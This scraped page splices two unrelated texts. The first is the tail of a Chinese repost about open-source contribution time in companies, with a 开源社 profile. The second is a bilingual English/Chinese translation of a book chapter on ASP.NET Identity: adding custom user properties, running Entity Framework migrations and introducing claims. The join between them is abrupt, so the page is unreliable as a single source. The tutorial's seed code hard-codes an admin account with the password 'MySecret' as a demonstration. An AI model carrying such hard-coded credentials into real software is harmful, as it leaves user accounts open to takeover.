“如果公司对开源项目依赖度高，那么将开源贡献纳入工程师的日程安排是很重要的，”她说。“一些公司定义了员工可以为开源建设的时间百分比，将其作为他们正常工作日的一部分。” The New Stack is a wholly owned subsidiary of Insight Partners, an investor in the following companies mentioned in this article: Sysdig, Aqua Security. The New Stack 是 Insight Partners 的全资子公司，Insight Partners 是本文提到的以下公司的投资者：Sysdig、Aqua Security。 相关阅读 | Related Reading 《开源合规指南（企业篇）》正式发布，为推动我国开源合规建设提供参考 “目标->用户->指标”——企业开源运营之道｜瞰道@谭中意 开源之夏邀请函——仅限高校学子开启 开源社简介 开源社成立于 2014 年，是由志愿贡献于开源事业的个人成员，依 “贡献、共识、共治” 原则所组成，始终维持厂商中立、公益、非营利的特点，是最早以 “开源治理、国际接轨、社区发展、开源项目” 为使命的开源社区联合体。开源社积极与支持开源的社区、企业以及政府相关单位紧密合作，以 “立足中国、贡献全球” 为愿景，旨在共创健康可持续发展的开源生态，推动中国开源社区成为全球开源体系的积极参与及贡献者。 2017 年，开源社转型为完全由个人成员组成，参照 ASF 等国际顶级开源基金会的治理模式运作。近八年来，链接了数万名开源人，集聚了上千名社区成员及志愿者、海内外数百位讲师，合作了近百家赞助、媒体、社区伙伴。 本篇文章为转载内容。原文链接：https://blog.csdn.net/kaiyuanshe/article/details/124976824。 该文由互联网用户投稿提供，文中观点代表作者本人意见，并不代表本站的立场。 作为信息平台，本站仅提供文章转载服务，并不拥有其所有权，也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况，请及时联系我们，我们将第一时间进行核实并删除相应内容。

... continue working on the Users project I created in Chapter 13 and enhanced in Chapter 14. No changes to the application are required, but start the application and make sure that there are users in the database. Figure 15-1 shows the state of my database, which contains the users Admin, Alice, Bob, and Joe from the previous chapter. To check the users, start the application and request the /Admin/Index URL and authenticate as the Admin user. 本章打算继续使用第13章创建并在第14章增强的Users项目。对应用程序无需做什么改变，但需要启动应用程序，并确保数据库中有一些用户。图15-1显示了数据库的状态，它含有上一章的用户Admin、Alice、Bob以及Joe。为了检查用户，请启动应用程序，请求/Admin/Index URL，并以Admin用户进行认证。 Figure 15-1. The initial users in the Identity database 图15-1. Identity数据库中的最初用户 I also need some roles for this chapter. I used the RoleAdmin controller to create roles called Users and Employees and assigned the users to those roles, as described in Table 15-2. 本章还需要一些角色。我用RoleAdmin控制器创建了角色Users和Employees，并为这些角色指定了一些用户，如表15-2所示。 Table 15-2. The Types of Web Forms Code Nuggets 表15-2. 角色及成员（作者将此表的标题写错了——译者注） Role 角色 Members 成员 Users Alice, Joe Employees Alice, Bob Figure 15-2 shows the required role configuration displayed by the RoleAdmin controller. 图15-2显示了由RoleAdmin控制器所显示出来的必要的角色配置。 Figure 15-2. Configuring the roles required for this chapter 图15-2. 配置本章所需的角色 15.2 Adding Custom User Properties 15.2 添加自定义用户属性 When I created the AppUser class to represent users in Chapter 13, I noted that the base class defined a basic set of properties to describe the user, such as e-mail address and telephone number. Most applications need to store more information about users, including persistent application preferences and details such as addresses—in short, any data that is useful to running the application and that should last between sessions. In ASP.NET Membership, this was handled through the user profile system, but ASP.NET Identity takes a different approach. 我在第13章创建AppUser类来表示用户时曾做过说明，基类定义了一组描述用户的基本属性，如E-mail地址、电话号码等。大多数应用程序还需要存储用户的更多信息，包括持久化应用程序爱好以及地址等细节——简言之，需要存储对运行应用程序有用并且在各次会话之间应当保持的任何数据。在ASP.NET Membership中，这是通过用户资料（User Profile）系统来处理的，但ASP.NET Identity采取了一种不同的办法。 Because the ASP.NET Identity system uses Entity Framework to store its data by default, defining additional user information is just a matter of adding properties to the user class and letting the Code First feature create the database schema required to store them. Table 15-3 puts custom user properties in context. 因为ASP.NET Identity默认是使用Entity Framework来存储其数据的，定义附加的用户信息只不过是给用户类添加属性的事情，然后让Code First特性去创建需要存储它们的数据库架构即可。表15-3描述了自定义用户属性的情形。 Table 15-3. Putting Cusotm User Properties in Context 表15-3. 自定义用户属性的情形 Question 问题 Answer 回答 What is it? 什么是自定义用户属性？ Custom user properties allow you to store additional information about your users, including their preferences and settings. 自定义用户属性让你能够存储附加的用户信息，包括他们的爱好和设置。 Why should I care? 为何要关心它？ A persistent store of settings means that the user doesn’t have to provide the same information each time they log in to the application. 设置的持久化存储意味着，用户不必每次登录到应用程序时都提供同样的信息。 How is it used by the MVC framework? 在MVC框架中如何使用它？ This feature isn’t used directly by the MVC framework, but it is available for use in action methods. 此特性不是由MVC框架直接使用的，但它在动作方法中使用是有效的。 15.2.1 Defining Custom Properties 15.2.1 定义自定义属性 Listing 15-1 shows how I added a simple property to the AppUser class to represent the city in which the user lives. 清单15-1演示了如何给AppUser类添加一个简单的属性，用以表示用户生活的城市。 Listing 15-1. Adding a Property in the AppUser.cs File 清单15-1. 在AppUser.cs文件中添加属性 using System;using Microsoft.AspNet.Identity.EntityFramework;namespace Users.Models { public enum Cities {LONDON, PARIS, CHICAGO}public class AppUser : IdentityUser {public Cities City { get; set; } }} I have defined an enumeration called Cities that defines values for some large cities and added a property called City to the AppUser class. To allow the user to view and edit their City property, I added actions to the Home controller, as shown in Listing 15-2. 这里定义了一个枚举，名称为Cities，它定义了一些大城市的值，另外给AppUser类添加了一个名称为City的属性。为了让用户能够查看和编辑City属性，给Home控制器添加了几个动作方法，如清单15-2所示。 Listing 15-2. Adding Support for Custom User Properties in the HomeController.cs File 清单15-2. 在HomeController.cs文件中添加对自定义属性的支持 using System.Web.Mvc;using System.Collections.Generic;using System.Web;using System.Security.Principal;using System.Threading.Tasks;using Users.Infrastructure;using Microsoft.AspNet.Identity;using Microsoft.AspNet.Identity.Owin;using Users.Models;namespace Users.Controllers {public class HomeController : Controller {[Authorize]public ActionResult Index() {return View(GetData("Index"));}[Authorize(Roles = "Users")]public ActionResult OtherAction() {return View("Index", GetData("OtherAction"));}private Dictionary<string, object> GetData(string actionName) {Dictionary<string, object> dict= new Dictionary<string, object>();dict.Add("Action", actionName);dict.Add("User", HttpContext.User.Identity.Name);dict.Add("Authenticated", HttpContext.User.Identity.IsAuthenticated);dict.Add("Auth Type", HttpContext.User.Identity.AuthenticationType);dict.Add("In Users Role", HttpContext.User.IsInRole("Users"));return dict;} [Authorize]public ActionResult UserProps() {return View(CurrentUser);}[Authorize][HttpPost]public async Task<ActionResult> UserProps(Cities city) {AppUser user = CurrentUser;user.City = city;await UserManager.UpdateAsync(user);return View(user);}private AppUser CurrentUser {get {return UserManager.FindByName(HttpContext.User.Identity.Name);} }private AppUserManager UserManager {get {return HttpContext.GetOwinContext().GetUserManager<AppUserManager>();} }} } I added a CurrentUser property that uses the AppUserManager class to retrieve an AppUser instance to represent the current user. I pass the AppUser object as the view model object in the GET version of the UserProps action method, and the POST method uses it to update the value of the new City property. Listing 15-3 shows the UserProps.cshtml view, which displays the City property value and contains a form to change it. 我添加了一个CurrentUser属性，它使用AppUserManager类接收了表示当前用户的AppUser实例。在GET版本的UserProps动作方法中，传递了这个AppUser对象作为视图模型。而在POST版的方法中用它更新了City属性的值。清单15-3显示了UserProps.cshtml视图，它显示了City属性的值，并包含一个修改它的表单。 Listing 15-3. The Contents of the UserProps.cshtml File in the Views/Home Folder 清单15-3. Views/Home文件夹中UserProps.cshtml文件的内容 @using Users.Models@model AppUser@{ ViewBag.Title = "UserProps";}<div class="panel panel-primary"><div class="panel-heading">Custom User Properties</div><table class="table table-striped"><tr><th>City</th><td>@Model.City</td></tr></table></div> @using (Html.BeginForm()) {<div class="form-group"><label>City</label>@Html.DropDownListFor(x => x.City, new SelectList(Enum.GetNames(typeof(Cities))))</div><button class="btn btn-primary" type="submit">Save</button>} Caution Don’t start the application when you have created the view. In the sections that follow, I demonstrate how to preserve the contents of the database, and if you start the application now, the ASP.NET Identity users will be deleted. 警告：创建了视图之后不要启动应用程序。在以下小节中，将演示如何保留数据库的内容，如果现在启动应用程序，将会删除ASP.NET Identity的用户。 15.2.2 Preparing for Database Migration 15.2.2 准备数据库迁移 The default behavior for the Entity Framework Code First feature is to drop the tables in the database and re-create them whenever classes that drive the schema have changed. You saw this in Chapter 14 when I added support for roles: When the application was started, the database was reset, and the user accounts were lost. Entity Framework Code First特性的默认行为是，一旦修改了派生数据库架构的类，便会删除数据库中的数据表，并重新创建它们。在第14章可以看到这种情况，在我添加角色支持时：当重启应用程序后，数据库被重置，用户账号也丢失。 Don’t start the application yet, but if you were to do so, you would see a similar effect. Deleting data during development is usually not a problem, but doing so in a production setting is usually disastrous because it deletes all of the real user accounts and causes a panic while the backups are restored. In this section, I am going to demonstrate how to use the database migration feature, which updates a Code First schema in a less brutal manner and preserves the existing data it contains. 不要启动应用程序，但如果你这么做了，会看到类似的效果。在开发期间删除数据没什么问题，但如果在产品设置中这么做了，通常是灾难性的，因为它会删除所有真实的用户账号，而备份恢复是很痛苦的事。在本小节中，我打算演示如何使用数据库迁移特性，它能以比较温和的方式更新Code First的架构，并保留架构中的已有数据。 The first step is to issue the following command in the Visual Studio Package Manager Console: 第一个步骤是在Visual Studio的“Package Manager Console（包管理器控制台）”中发布以下命令： Enable-Migrations –EnableAutomaticMigrations This enables the database migration support and creates a Migrations folder in the Solution Explorer that contains a Configuration.cs class file, the contents of which are shown in Listing 15-4. 它启用了数据库的迁移支持，并在“Solution Explorer（解决方案资源管理器）”创建一个Migrations文件夹，其中含有一个Configuration.cs类文件，内容如清单15-4所示。 Listing 15-4. The Contents of the Configuration.cs File 清单15-4. Configuration.cs文件的内容 namespace Users.Migrations {using System;using System.Data.Entity;using System.Data.Entity.Migrations;using System.Linq;internal sealed class Configuration: DbMigrationsConfiguration<Users.Infrastructure.AppIdentityDbContext> {public Configuration() {AutomaticMigrationsEnabled = true;ContextKey = "Users.Infrastructure.AppIdentityDbContext";}protected override void Seed(Users.Infrastructure.AppIdentityDbContext context) {// This method will be called after migrating to the latest version.// 此方法将在迁移到最新版本时调用// You can use the DbSet<T>.AddOrUpdate() helper extension method// to avoid creating duplicate seed data. E.g.// 例如，你可以使用DbSet<T>.AddOrUpdate()辅助器方法来避免创建重复的种子数据//// context.People.AddOrUpdate(// p => p.FullName,// new Person { FullName = "Andrew Peters" },// new Person { FullName = "Brice Lambson" },// new Person { FullName = "Rowan Miller" }// );//} }} Tip You might be wondering why you are entering a database migration command into the console used to manage NuGet packages. The answer is that the Package Manager Console is really PowerShell, which is a general-purpose tool that is mislabeled by Visual Studio. You can use the console to issue a wide range of helpful commands. See http://go.microsoft.com/fwlink/?LinkID=108518 for details. 提示：你可能会觉得奇怪，为什么要在管理NuGet包的控制台中输入数据库迁移的命令？答案是“Package Manager Console（包管理控制台）”是真正的PowerShell，这是Visual studio冒用的一个通用工具。你可以使用此控制台发送大量的有用命令，详见http://go.microsoft.com/fwlink/?LinkID=108518。 The class will be used to migrate existing content in the database to the new schema, and the Seed method will be called to provide an opportunity to update the existing database records. In Listing 15-5, you can see how I have used the Seed method to set a default value for the new City property I added to the AppUser class. (I have also updated the class file to reflect my usual coding style.) 这个类将用于把数据库中的现有内容迁移到新的数据库架构，Seed方法的调用为更新现有数据库记录提供了机会。在清单15-5中可以看到，我如何用Seed方法为新的City属性设置默认值，City是添加到AppUser类中自定义属性。（为了体现我一贯的编码风格，我对这个类文件也进行了更新。） Listing 15-5. Managing Existing Content in the Configuration.cs File 清单15-5. 在Configuration.cs文件中管理已有内容 using System.Data.Entity.Migrations;using Microsoft.AspNet.Identity;using Microsoft.AspNet.Identity.EntityFramework;using Users.Infrastructure;using Users.Models;namespace Users.Migrations {internal sealed class Configuration: DbMigrationsConfiguration<AppIdentityDbContext> {public Configuration() {AutomaticMigrationsEnabled = true;ContextKey = "Users.Infrastructure.AppIdentityDbContext";}protected override void Seed(AppIdentityDbContext context) {AppUserManager userMgr = new AppUserManager(new UserStore<AppUser>(context));AppRoleManager roleMgr = new AppRoleManager(new RoleStore<AppRole>(context)); string roleName = "Administrators";string userName = "Admin";string password = "MySecret";string email = "admin@example.com";if (!roleMgr.RoleExists(roleName)) {roleMgr.Create(new AppRole(roleName));}AppUser user = userMgr.FindByName(userName);if (user == null) {userMgr.Create(new AppUser { UserName = userName, Email = email },password);user = userMgr.FindByName(userName);}if (!userMgr.IsInRole(user.Id, roleName)) {userMgr.AddToRole(user.Id, roleName);}foreach (AppUser dbUser in userMgr.Users) {dbUser.City = Cities.PARIS;}context.SaveChanges();} }} You will notice that much of the code that I added to the Seed method is taken from the IdentityDbInit class, which I used to seed the database with an administration user in Chapter 14. This is because the new Configuration class added to support database migrations will replace the seeding function of the IdentityDbInit class, which I’ll update shortly. Aside from ensuring that there is an admin user, the statements in the Seed method that are important are the ones that set the initial value for the City property I added to the AppUser class, as follows: 你可能会注意到，添加到Seed方法中的许多代码取自于IdentityDbInit类，在第14章中我用这个类将管理用户植入了数据库。这是因为这个新添加的、用以支持数据库迁移的Configuration类，将代替IdentityDbInit类的种植功能，我很快便会更新这个类。除了要确保有admin用户之外，在Seed方法中的重要语句是那些为AppUser类的City属性设置初值的语句，如下所示： ...foreach (AppUser dbUser in userMgr.Users) { dbUser.City = Cities.PARIS;}context.SaveChanges();... You don’t have to set a default value for new properties—I just wanted to demonstrate that the Seed method in the Configuration class can be used to update the existing user records in the database. 你不一定要为新属性设置默认值——这里只是想演示Configuration类中的Seed方法，可以用它更新数据库中的已有用户记录。 Caution Be careful when setting values for properties in the Seed method for real projects because the values will be applied every time you change the schema, overriding any values that the user has set since the last schema update was performed. I set the value of the City property just to demonstrate that it can be done. 警告：在用于真实项目的Seed方法中为属性设置值时要小心，因为你每一次修改架构时，都会运用这些值，这会将自执行上一次架构更新之后，用户设置的任何数据覆盖掉。这里设置City属性的值只是为了演示它能够这么做。 Changing the Database Context Class 修改数据库上下文类 The reason that I added the seeding code to the Configuration class is that I need to change the IdentityDbInit class. At present, the IdentityDbInit class is derived from the descriptively named DropCreateDatabaseIfModelChanges<AppIdentityDbContext> class, which, as you might imagine, drops the entire database when the Code First classes change. Listing 15-6 shows the changes I made to the IdentityDbInit class to prevent it from affecting the database. 在Configuration类中添加种植代码的原因是我需要修改IdentityDbInit类。此时，IdentityDbInit类派生于描述性命名的DropCreateDatabaseIfModelChanges<AppIdentityDbContext> 类，和你相像的一样，它会在Code First类改变时删除整个数据库。清单15-6显示了我对IdentityDbInit类所做的修改，以防止它影响数据库。 Listing 15-6. Preventing Database Schema Changes in the AppIdentityDbContext.cs File 清单15-6. 在AppIdentityDbContext.cs文件是阻止数据库架构变化 using System.Data.Entity;using Microsoft.AspNet.Identity.EntityFramework;using Users.Models;using Microsoft.AspNet.Identity; namespace Users.Infrastructure {public class AppIdentityDbContext : IdentityDbContext<AppUser> {public AppIdentityDbContext() : base("IdentityDb") { }static AppIdentityDbContext() {Database.SetInitializer<AppIdentityDbContext>(new IdentityDbInit());}public static AppIdentityDbContext Create() {return new AppIdentityDbContext();} } public class IdentityDbInit : NullDatabaseInitializer<AppIdentityDbContext> {} } I have removed the methods defined by the class and changed its base to NullDatabaseInitializer<AppIdentityDbContext> , which prevents the schema from being altered. 我删除了这个类中所定义的方法，并将它的基类改为NullDatabaseInitializer<AppIdentityDbContext> ，它可以防止架构修改。 15.2.3 Performing the Migration 15.2.3 执行迁移 All that remains is to generate and apply the migration. First, run the following command in the Package Manager Console: 剩下的事情只是生成并运用迁移了。首先，在“Package Manager Console（包管理器控制台）”中执行以下命令： Add-Migration CityProperty This creates a new migration called CityProperty (I like my migration names to reflect the changes I made). A class new file will be added to the Migrations folder, and its name reflects the time at which the command was run and the name of the migration. My file is called 201402262244036_CityProperty.cs, for example. The contents of this file contain the details of how Entity Framework will change the database during the migration, as shown in Listing 15-7. 这创建了一个名称为CityProperty的新迁移（我比较喜欢让迁移的名称反映出我所做的修改）。这会在文件夹中添加一个新的类文件，而且其命名会反映出该命令执行的时间以及迁移名称，例如，我的这个文件名称为201402262244036_CityProperty.cs。该文件的内容含有迁移期间Entity Framework修改数据库的细节，如清单15-7所示。 Listing 15-7. The Contents of the 201402262244036_CityProperty.cs File 清单15-7. 201402262244036_CityProperty.cs文件的内容 namespace Users.Migrations {using System;using System.Data.Entity.Migrations; public partial class Init : DbMigration {public override void Up() {AddColumn("dbo.AspNetUsers", "City", c => c.Int(nullable: false));}public override void Down() {DropColumn("dbo.AspNetUsers", "City");} }} The Up method describes the changes that have to be made to the schema when the database is upgraded, which in this case means adding a City column to the AspNetUsers table, which is the one that is used to store user records in the ASP.NET Identity database. Up方法描述了在数据库升级时，需要对架构所做的修改，在这个例子中，意味着要在AspNetUsers数据表中添加City数据列，该数据表是ASP.NET Identity数据库用来存储用户记录的。 The final step is to perform the migration. Without starting the application, run the following command in the Package Manager Console: 最后一步是执行迁移。无需启动应用程序，只需在“Package Manager Console（包管理器控制台）”中运行以下命令即可： Update-Database –TargetMigration CityProperty The database schema will be modified, and the code in the Configuration.Seed method will be executed. The existing user accounts will have been preserved and enhanced with a City property (which I set to Paris in the Seed method). 这会修改数据库架构，并执行Configuration.Seed方法中的代码。已有用户账号会被保留，且增强了City属性（我在Seed方法中已将其设置为“Paris”）。 15.2.4 Testing the Migration 15.2.4 测试迁移 To test the effect of the migration, start the application, navigate to the /Home/UserProps URL, and authenticate as one of the Identity users (for example, as Alice with the password MySecret). Once authenticated, you will see the current value of the City property for the user and have the opportunity to change it, as shown in Figure 15-3. 为了测试迁移的效果，启动应用程序，导航到/Home/UserProps URL，并以Identity中的用户（例如Alice，口令MySecret）进行认证。一旦已被认证，便会看到该用户City属性的当前值，并可以对其进行修改，如图15-3所示。 Figure 15-3. Displaying and changing a custom user property 图15-3. 显示和个性自定义用户属性 15.2.5 Defining an Additional Property 15.2.5 定义附加属性 Now that database migrations are set up, I am going to define a further property just to demonstrate how subsequent changes are handled and to show a more useful (and less dangerous) example of using the Configuration.Seed method. Listing 15-8 shows how I added a Country property to the AppUser class. 现在，已经建立了数据库迁移，我打算再定义一个属性，这恰恰演示了如何处理持续不断的修改，也为了演示Configuration.Seed方法更有用（至少无害）的示例。清单15-8显示了我在AppUser类上添加了一个Country属性。 Listing 15-8. Adding Another Property in the AppUserModels.cs File 清单15-8. 在AppUserModels.cs文件中添加另一个属性 using System;using Microsoft.AspNet.Identity.EntityFramework; namespace Users.Models {public enum Cities {LONDON, PARIS, CHICAGO} public enum Countries {NONE, UK, FRANCE, USA}public class AppUser : IdentityUser {public Cities City { get; set; }public Countries Country { get; set; }public void SetCountryFromCity(Cities city) {switch (city) {case Cities.LONDON:Country = Countries.UK;break;case Cities.PARIS:Country = Countries.FRANCE;break;case Cities.CHICAGO:Country = Countries.USA;break;default:Country = Countries.NONE;break;} }} } I have added an enumeration to define the country names and a helper method that selects a country value based on the City property. Listing 15-9 shows the change I made to the Configuration class so that the Seed method sets the Country property based on the City, but only if the value of Country is NONE (which it will be for all users when the database is migrated because the Entity Framework sets enumeration columns to the first value). 我已经添加了一个枚举，它定义了国家名称。还添加了一个辅助器方法，它可以根据City属性选择一个国家。清单15-9显示了对Configuration类所做的修改，以使Seed方法根据City设置Country属性，但只当Country为NONE时才进行设置（在迁移数据库时，所有用户都是NONE，因为Entity Framework会将枚举列设置为枚举的第一个值）。 Listing 15-9. Modifying the Database Seed in the Configuration.cs File 清单15-9. 在Configuration.cs文件中修改数据库种子 using System.Data.Entity.Migrations;using Microsoft.AspNet.Identity;using Microsoft.AspNet.Identity.EntityFramework;using Users.Infrastructure;using Users.Models; namespace Users.Migrations {internal sealed class Configuration: DbMigrationsConfiguration<AppIdentityDbContext> {public Configuration() {AutomaticMigrationsEnabled = true;ContextKey = "Users.Infrastructure.AppIdentityDbContext";}protected override void Seed(AppIdentityDbContext context) {AppUserManager userMgr = new AppUserManager(new UserStore<AppUser>(context));AppRoleManager roleMgr = new AppRoleManager(new RoleStore<AppRole>(context)); string roleName = "Administrators";string userName = "Admin";string password = "MySecret";string email = "admin@example.com";if (!roleMgr.RoleExists(roleName)) {roleMgr.Create(new AppRole(roleName));}AppUser user = userMgr.FindByName(userName);if (user == null) {userMgr.Create(new AppUser { UserName = userName, Email = email },password);user = userMgr.FindByName(userName);}if (!userMgr.IsInRole(user.Id, roleName)) {userMgr.AddToRole(user.Id, roleName);} foreach (AppUser dbUser in userMgr.Users) {if (dbUser.Country == Countries.NONE) {dbUser.SetCountryFromCity(dbUser.City);} }context.SaveChanges();} }} This kind of seeding is more useful in a real project because it will set a value for the Country property only if one has not already been set—subsequent migrations won’t be affected, and user selections won’t be lost. 这种种植在实际项目中会更有用，因为它只会在Country属性未设置时，才会设置Country属性的值——后继的迁移不会受到影响，因此不会失去用户的选择。 1. Adding Application Support 1. 添加应用程序支持 There is no point defining additional user properties if they are not available in the application, so Listing 15-10 shows the change I made to the Views/Home/UserProps.cshtml file to display the value of the Country property. 应用程序中如果没有定义附加属性的地方，则附加属性就无法使用了，因此，清单15-10显示了我对Views/Home/UserProps.cshtml文件的修改，以显示Country属性的值。 Listing 15-10. Displaying an Additional Property in the UserProps.cshtml File 清单15-10. 在UserProps.cshtml文件中显示附加属性 @using Users.Models@model AppUser@{ ViewBag.Title = "UserProps";} <div class="panel panel-primary"><div class="panel-heading">Custom User Properties</div><table class="table table-striped"><tr><th>City</th><td>@Model.City</td></tr> <tr><th>Country</th><td>@Model.Country</td></tr></table></div>@using (Html.BeginForm()) {<div class="form-group"><label>City</label>@Html.DropDownListFor(x => x.City, new SelectList(Enum.GetNames(typeof(Cities))))</div><button class="btn btn-primary" type="submit">Save</button>} Listing 15-11 shows the corresponding change I made to the Home controller to update the Country property when the City value changes. 为了在City值变化时能够更新Country属性，清单15-11显示了我对Home控制器所做的相应修改。 Listing 15-11. Setting Custom Properties in the HomeController.cs File 清单15-11. 在HomeController.cs文件中设置自定义属性 using System.Web.Mvc;using System.Collections.Generic;using System.Web;using System.Security.Principal;using System.Threading.Tasks;using Users.Infrastructure;using Microsoft.AspNet.Identity;using Microsoft.AspNet.Identity.Owin;using Users.Models; namespace Users.Controllers {public class HomeController : Controller {// ...other action methods omitted for brevity...// ...出于简化，这里忽略了其他动作方法... [Authorize]public ActionResult UserProps() {return View(CurrentUser);}[Authorize][HttpPost]public async Task<ActionResult> UserProps(Cities city) {AppUser user = CurrentUser;user.City = city;user.SetCountryFromCity(city);await UserManager.UpdateAsync(user);return View(user);}// ...properties omitted for brevity...// ...出于简化，这里忽略了一些属性...} } 2. Performing the Migration 2. 准备迁移 All that remains is to create and apply a new migration. Enter the following command into the Package Manager Console: 剩下的事情就是创建和运用新的迁移了。在“Package Manager Console（包管理器控制台）”中输入以下命令： Add-Migration CountryProperty This will generate another file in the Migrations folder that contains the instruction to add the Country column. To apply the migration, execute the following command: 这将在Migrations文件夹中生成另一个文件，它含有添加Country数据表列的指令。为了运用迁移，可执行以下命令： Update-Database –TargetMigration CountryProperty The migration will be performed, and the value of the Country property will be set based on the value of the existing City property for each user. You can check the new user property by starting the application and authenticating and navigating to the /Home/UserProps URL, as shown in Figure 15-4. 这将执行迁移，Country属性的值将根据每个用户当前的City属性进行设置。通过启动应用程序，认证并导航到/Home/UserProps URL，便可以查看新的用户属性，如图15-4所示。 Figure 15-4. Creating an additional user property 图15-4. 创建附加用户属性 Tip Although I am focused on the process of upgrading the database, you can also migrate back to a previous version by specifying an earlier migration. Use the –Force argument make changes that cause data loss, such as removing a column. 提示：虽然我们关注了升级数据库的过程，但你也可以回退到以前的版本，只需指定一个早期的迁移即可。使用-Force参数进行修改，会引起数据丢失，例如删除数据表列。 15.3 Working with Claims 15.3 使用声明（Claims） In older user-management systems, such as ASP.NET Membership, the application was assumed to be the authoritative source of all information about the user, essentially treating the application as a closed world and trusting the data that is contained within it. 在旧的用户管理系统中，例如ASP.NET Membership，应用程序被假设成是用户所有信息的权威来源，本质上将应用程序视为是一个封闭的世界，并且只信任其中所包含的数据。 This is such an ingrained approach to software development that it can be hard to recognize that’s what is happening, but you saw an example of the closed-world technique in Chapter 14 when I authenticated users against the credentials stored in the database and granted access based on the roles associated with those credentials. I did the same thing again in this chapter when I added properties to the user class. Every piece of information that I needed to manage user authentication and authorization came from within my application—and that is a perfectly satisfactory approach for many web applications, which is why I demonstrated these techniques in such depth. 这是软件开发的一种根深蒂固的方法，使人很难认识到这到底意味着什么，第14章你已看到了这种封闭世界技术的例子，根据存储在数据库中的凭据来认证用户，并根据与凭据关联在一起的角色来授权访问。本章前述在用户类上添加属性，也做了同样的事情。我管理用户认证与授权所需的每一个数据片段都来自于我的应用程序——而且这是许多Web应用程序都相当满意的一种方法，这也是我如此深入地演示这些技术的原因。 ASP.NET Identity also supports an alternative approach for dealing with users, which works well when the MVC framework application isn’t the sole source of information about users and which can be used to authorize users in more flexible and fluid ways than traditional roles allow. ASP.NET Identity还支持另一种处理用户的办法，当MVC框架的应用程序不是有关用户的唯一信息源时，这种办法会工作得很好，而且能够比传统的角色授权更为灵活且流畅的方式进行授权。 This alternative approach uses claims, and in this section I’ll describe how ASP.NET Identity supports claims-based authorization. Table 15-4 puts claims in context. 这种可选的办法使用了“Claims（声明）”，因此在本小节中，我将描述ASP.NET Identity如何支持“Claims-Based Authorization（基于声明的授权）”。表15-4描述了声明（Claims）的情形。 提示：“Claim”在英文字典中不完全是“声明”的意思，根据本文的描述，感觉把它说成“声明”也不一定合适，所以在之后的译文中基本都写成中英文并用的形式，即“声明（Claims）”。根据表15-4中的声明（Claims）的定义：声明（Claims）是关于用户的一些信息片段。一个用户的信息片段当然有很多，每一个信息片段就是一项声明（Claim），用户的所有信息片段合起来就是该用户的声明（Claims）。请读者注意该单词的单复数形式——译者注 Table 15-4. Putting Claims in Context 表15-4. 声明（Claims）的情形 Question 问题 Answer 答案 What is it? 什么是声明（Claims）？ Claims are pieces of information about users that you can use to make authorization decisions. Claims can be obtained from external systems as well as from the local Identity database. 声明（Claims）是关于用户的一些信息片段，可以用它们做出授权决定。声明（Claims）可以从外部系统获取，也可以从本地的Identity数据库获取。 Why should I care? 为何要关心它？ Claims can be used to flexibly authorize access to action methods. Unlike conventional roles, claims allow access to be driven by the information that describes the user. 声明（Claims）可以用来对动作方法进行灵活的授权访问。与传统的角色不同，声明（Claims）让访问能够由描述用户的信息进行驱动。 How is it used by the MVC framework? 如何在MVC框架中使用它？ This feature isn’t used directly by the MVC framework, but it is integrated into the standard authorization features, such as the Authorize attribute. 这不是直接由MVC框架使用的特性，但它集成到了标准的授权特性之中，例如Authorize注解属性。 Tip you don’t have to use claims in your applications, and as Chapter 14 showed, ASP.NET Identity is perfectly happy providing an application with the authentication and authorization services without any need to understand claims at all. 提示：你在应用程序中不一定要使用声明（Claims），正如第14章所展示的那样，ASP.NET Identity能够为应用程序提供充分的认证与授权服务，而根本不需要理解声明（Claims）。 15.3.1 Understanding Claims 15.3.1 理解声明（Claims） A claim is a piece of information about the user, along with some information about where the information came from. The easiest way to unpack claims is through some practical demonstrations, without which any discussion becomes too abstract to be truly useful. To get started, I added a Claims controller to the example project, the definition of which you can see in Listing 15-12. 一项声明（Claim）是关于用户的一个信息片段（请注意这个英文单词的单复数形式——译者注），并伴有该片段出自何处的某种信息。揭开声明（Claims）含义最容易的方式是做一些实际演示，任何讨论都会过于抽象根本没有真正的用处。为此，我在示例项目中添加了一个Claims控制器，其定义如清单15-12所示。 Listing 15-12. The Contents of the ClaimsController.cs File 清单15-12. ClaimsController.cs文件的内容 using System.Security.Claims;using System.Web;using System.Web.Mvc; namespace Users.Controllers {public class ClaimsController : Controller {[Authorize]public ActionResult Index() {ClaimsIdentity ident = HttpContext.User.Identity as ClaimsIdentity;if (ident == null) {return View("Error", new string[] { "No claims available" });} else {return View(ident.Claims);} }} } Tip You may feel a little lost as I define the code for this example. Don’t worry about the details for the moment—just stick with it until you see the output from the action method and view that I define. More than anything else, that will help put claims into perspective. 提示：你或许会对我为此例定义的代码感到有点失望。此刻对此细节不必着急——只要稍事忍耐，当看到该动作方法和视图的输出便会明白。尤为重要的是，这有助于洞察声明（Claims）。 You can get the claims associated with a user in different ways. One approach is to use the Claims property defined by the user class, but in this example, I have used the HttpContext.User.Identity property to demonstrate the way that ASP.NET Identity is integrated with the rest of the ASP.NET platform. As I explained in Chapter 13, the HttpContext.User.Identity property returns an implementation of the IIdentity interface, which is a ClaimsIdentity object when working using ASP.NET Identity. The ClaimsIdentity class is defined in the System.Security.Claims namespace, and Table 15-5 shows the members it defines that are relevant to this chapter. 可以通过不同的方式获得与用户相关联的声明（Claims）。方法之一就是使用由用户类定义的Claims属性，但在这个例子中，我使用了HttpContext.User.Identity属性，目的是演示ASP.NET Identity与ASP.NET平台集成的方式（请注意这句话所表示的含义：用户类的Claims属性属于ASP.NET Identity，而HttpContext.User.Identity属性则属于ASP.NET平台。由此可见，ASP.NET Identity已经融合到了ASP.NET平台之中——译者注）。正如第13章所解释的那样，HttpContext.User.Identity属性返回IIdentity的接口实现，当使用ASP.NET Identity时，该实现是一个ClaimsIdentity对象。ClaimsIdentity类是在System.Security.Claims命名空间中定义的，表15-5显示了它所定义的与本章有关的成员。 Table 15-5. The Members Defined by the ClaimsIdentity Class 表15-5. ClaimsIdentity类所定义的成员 Name 名称 Description 描述 Claims Returns an enumeration of Claim objects representing the claims for the user. 返回表示用户声明（Claims）的Claim对象枚举 AddClaim(claim) Adds a claim to the user identity. 给用户添加一个声明（Claim） AddClaims(claims) Adds an enumeration of Claim objects to the user identity. 给用户添加Claim对象的枚举。 HasClaim(predicate) Returns true if the user identity contains a claim that matches the specified predicate. See the “Applying Claims” section for an example predicate. 如果用户含有与指定谓词匹配的声明（Claim）时，返回true。参见“运用声明（Claims）”中的示例谓词 RemoveClaim(claim) Removes a claim from the user identity. 删除用户的声明（Claim）。 Other members are available, but the ones in the table are those that are used most often in web applications, for reason that will become obvious as I demonstrate how claims fit into the wider 